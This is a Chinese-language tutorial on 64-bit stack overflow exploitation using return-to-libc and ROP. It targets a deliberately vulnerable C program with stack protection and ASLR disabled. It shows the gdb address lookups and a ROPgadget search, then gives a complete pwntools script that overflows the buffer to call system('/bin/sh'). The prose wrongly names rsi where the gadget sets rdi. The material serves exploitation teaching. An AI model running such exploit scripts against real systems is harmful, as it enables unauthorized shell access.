环境:Ubuntu 14.04.5 64位
使用工具:pwntools
// exp2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
现在我们把DEP打开,依然关闭stack protector和ASLR。编译方法如下:
$ gcc -fno-stack-protector -o exp2 exp2.c
这时候我们如果使用exp1的exp1.py来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,你会发现exp1的stack是rwx的,但是exp2的stack却是rw的。
exp1
7ffffffde000-7ffffffff000 rwxp 00000000 00:00 0 [stack]
exp2
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
那么如何执行shellcode呢?我们知道level2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。
如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。那么接下来我们就来找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。
$ gdb ./exp2
Reading symbols from ./exp2...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x4005a1
(gdb) run
Starting program: /home/ldzm/exp/exp2/exp2
Breakpoint 1, 0x00000000004005a1 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x7ffff7a5b590 <__libc_system>
(gdb) print __libc_start_main
$2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **,
char **), void (*)(void), void (*)(void),
void *)} 0x7ffff7a36e50 <__libc_start_main>
(gdb) find 0x7ffff7a36e50, +2200000, "/bin/sh"
0x7ffff7b918c3
warning: Unable to access 16000 bytes of target memory at 0x7ffff7bd3f4b, halting search.
1 pattern found.
(gdb) x/s 0x7ffff7b918c3
0x7ffff7b918c3: "/bin/sh"
我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0x7ffff7a5b590 以及”/bin/sh”的地址0x7ffff7b918c3。在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget,把”/bin/sh”的地址写入rsi。于是我们使用ROPGadget搜索一下exp2中所有pop ret的gadgets。
$ ROPgadget --binary exp2 --only "pop|ret" | grep rdi
0x0000000000400633 : pop rdi ; ret
构造我们的ROP链
payload = 'A' * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
最终脚本:exp2.py
#!/usr/bin/env python
from pwn import *
p = process('./exp2')
#p = remote('127.0.0.1',10001)
pop_ret_addr=0x0000000000400633
system_addr=0x7ffff7a5b590
binsh_addr=0x7ffff7b918c3
payload = 'A' * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()
[1]http://drops.xmd5.com/static/drops/tips-6597.html
本文大部分内容和这篇文章相同,只是本文是在64位系统上重新整理。